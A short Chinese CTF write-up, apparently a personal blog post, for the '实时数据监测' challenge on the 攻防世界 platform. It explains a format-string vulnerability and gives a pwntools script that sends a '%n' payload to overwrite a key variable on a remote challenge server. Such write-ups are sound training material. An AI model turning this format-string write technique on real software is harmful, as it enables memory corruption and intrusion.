//
xiaoaoaode
Published on 2020-06-10 / 36 Visits
0

攻防世界-"实时数据监测"题Writeup

前言

本题是个比较简单的题,核心思想是格式化字符串漏洞的任意地址写的作用,不过博主选择了最麻烦的方式来解这个题,如果有时间就试一试更快的解法

解题过程

程序信息:
程序信息
o_o ....保护全关,这是难得的题目😂
分析程序,核心的部分在这里

第6行的fget貌似不能溢出,现在看起来只要想办法把key的值改为0x02223322(35795746)就行了
恰好imagemagic函数存在格式化字符串漏洞

OK,现在比较好办了,先用连续的"%x.%x.%x"串获得我们写入字符串的位置,再按照基本操作就可以了
只是...需要改的值有点大(35795746)
我翻阅了CTF-Wiki的相关内容,发现了覆盖大数字部分,不过我看了一些没太看懂,所以还是按原始方法写了脚本

#-*- coding: utf-8 -*-
from pwn import *
pwn = remote('111.198.29.45',00000)
payload = p32(0x0804a048) + "%35795742c%12$n"
pwn.sendline(payload)
pwn.interactive()
pwn.close()